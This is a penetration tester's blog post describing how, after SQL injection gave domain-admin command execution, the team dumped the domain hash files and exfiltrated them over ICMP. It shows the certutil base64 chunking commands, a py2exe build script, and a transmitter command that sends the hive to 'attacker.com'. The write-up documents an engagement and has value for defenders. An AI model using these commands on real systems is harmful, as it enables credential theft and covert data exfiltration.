On a recent Pen Test project, we encountered a situation where the outbound traffic on the server was not allowed. Only ICMP (and DNS) traffic was allowed. In this blog post Shyam discusses how we manage to ex-filtrate the data over an ICMP tunnel.
Just to set the scene, the scenario was an application Pen Test. The application was only available on client’s internal network, so a VPN was provided to access the app. The VPN only allowed us to connect to one host (web server IP) and one port (443).
The Attack
So, as it turns out, we managed to achieve this:
- The Application was vulnerable to SQLi.
- It turns out the app connects to database (MS SQL 2008) as ‘sa’ account.
- We could enable xp_cmdshell and execute OS code (sqlmap is your friend). Note that the shell via SQL Injection is not interactive. The output of the command we issue was first stored in database table and was then read out via SQL queries. Also, the web server and the database server were different. The web server did not have any ports other then 443 open (not even for Database server).
- It further turns out that the sqlserver process was actually not running as ‘System’ but as a domain admin account (domainsqlsvc).
- So, basically we ended up with domain admin access.
The Obstacle
The hosts on the internal domain did not have outbound internet activity. We did look for any proxy servers but could not find any. The only connection which was allowed was ICMP and DNS traffic. So, the problems we were now facing were:
- How do we dump domain hashes without any tools (metasploit, fgdump, pwdump etc)?
- Even if we were to dump the hashes, how do we export these on to our servers for offline cracking. :(
The problem 1 was quickly solved by referring to a fantastic blog from mubix’s using Volume Shadow Copies to pull the NTDS.dit file and system.hive files.
http://www.room362.com/2013/06/volume-shadow-copy-ntdsdit-domain.html?m=1
Now that we have the hive, we need to send the hive on the compromised DC to our machine to decrypt it offline. So we wanted to have tool which would send hive as ICMP packets from the compromised host (DC) to our server and at our end we have a packet capture tool to capture the whole ping requests from the compromised host.
We looked at some of the existing tools regarding ICMP tunnels but the trouble was:
- It would seem like the existing tools were not too much geared towards file transfer (or we just didn’t find the right tool to do the job).
- How do we copy the ICMP tunnel client on the box, without having any ICMP tunnel? :P
So, we decided to do some research into this and came up with this approach:
- Convert the hive into base64.
- Divide the base64 encoded text file into smaller chunks.
- Create an ICMP packet with the chunk as the data with a proper sequence number to our server on the internet.
- Run packet capture tools and record the traffic on our server.
- Once all the packets are sent from the host and received by our server, use a parser to remove all the headers and concat all the data fields of pings to have a base64 encoded text file.
- Decode the base64 encoded file to have our hive on our server.
Fortunately, Windows has a utility called certutil installed by default which will do the encoding and decoding of a file to base64 for us in the most easiest way possible :)
So we used the certutil to convert the hive file into base64 encoded text file.
Once we have the encoded file, we need to create it into chunks and send it to our server using ICMP. This was tricky, so we created a python script that would take the base64 encoded text as input, divide it into chunks, send each chunk to the specified public IP address as ICMP request.
Once the ICMP_transmitter.py does what it was intended to do, we need to convert the python file into exe as there will be no python interpreter by default in windows. For this we can use py2exe to convert the python file into an executable. Following code can be used to convert the python file to exe.
Code Snippet:
from distutils.core import setup import py2exe, sys, os sys.argv.append('py2exe') setup( options = {'py2exe': {'bundle_files': 1, 'compressed': True}}, windows = [{'script': "ICMP.py"}], zipfile = None, )
It is to be noted that we used bundle_files option while converting the python file into an executable. In this way, the code will output one standalone executable file containing the compiled code along with all required modules and python interpreter.
Now we have this exe, the big question was how do we get this exe on the compromised host. The answer was follow these steps:
- Convert the exe into base-64 encoded format using certutil.
- It turns out this file was some 80K lines long, so we decided to remove the new lines and convert into chunks of ~8000 characters per line which meant some 660 lines. Note: echo command has a limit of ~8000 chars and hence this approach.
- We then made ~660 web requests to essentially make our SQLi execute the command
cmd.exe /c echo "base64_text">>ICMPt_transmitter.txt
- After this we issued the following command to finally get our exe on server!
certutil –decode ICMP_transmitter.txt ICMP_transmitter.exe
Now, all we need to do is run the exe with "file_to_be_sent" and "Destination_address" as arguments. The script does the following for us.
ICMP_transmitter.exe "hive" "attacker.com"
- It used the certutil to encode the hive into base64
- Created chunks of data and sent each chunk as data in ICMP packet
On our server, we started tcpdump to capture all the ICMP packets and save as a pcap file. Once all the ICMP packets are transferred stop the tcpdump and using any pcap parser, parse the data to build the base64 encoded text file. When the final text file is identified use the certutil tool to decode the file into respective file format.
tcpdump -i eth0 ICMP and ICMP[ICMPtype]=ICMP-echo -XX -vvv -w output.txt
File integrity can be checked against the md5sum of both the transmitted and received files.
Steps Involved
Following are the steps performed:
Step 1: Calculate the md5sum of the "hive" using our friendly certutil command.
Step 2: Start tcpdump on our machine to capture the ICMP packets.
Step 3: Use the command ICMP_transmitter.exe to transmit the hive to our ip address.
Step 4: Once the all the packets are received, stop tcpdump by pressing ctrl^c to have an output file. The format of output file is pcap or txt based on the –W argument specified in the command.
Step 5: Use a parser.sh to parse the output file to get a clean base64 encoded hive file saved as “transmitted.txt”.
Step 6: Use the same certutil on your windows machine (or base64 -d on linux/mac) to decode the transmitted.txt to hive.
Check the md5sum at our machine for the hive and check against the md5sum of hive at the host machine for integrity.
Perhaps not a very elegant solution, but it works! :)
References:
- For transmitting data as a ping request. The code available at https://gist.github.com/pklaus/856268 works perfectly!
- Certutil implementations: https://technet.microsoft.com/en-us/library/cc732443.aspx
- For converting the python files into a windows executable: https://www.py2exe.org
- To have a standalone executable with all the DLLs and libraries wrapped into a single file: http://www.py2exe.org/index.cgi/SingleFileExecutable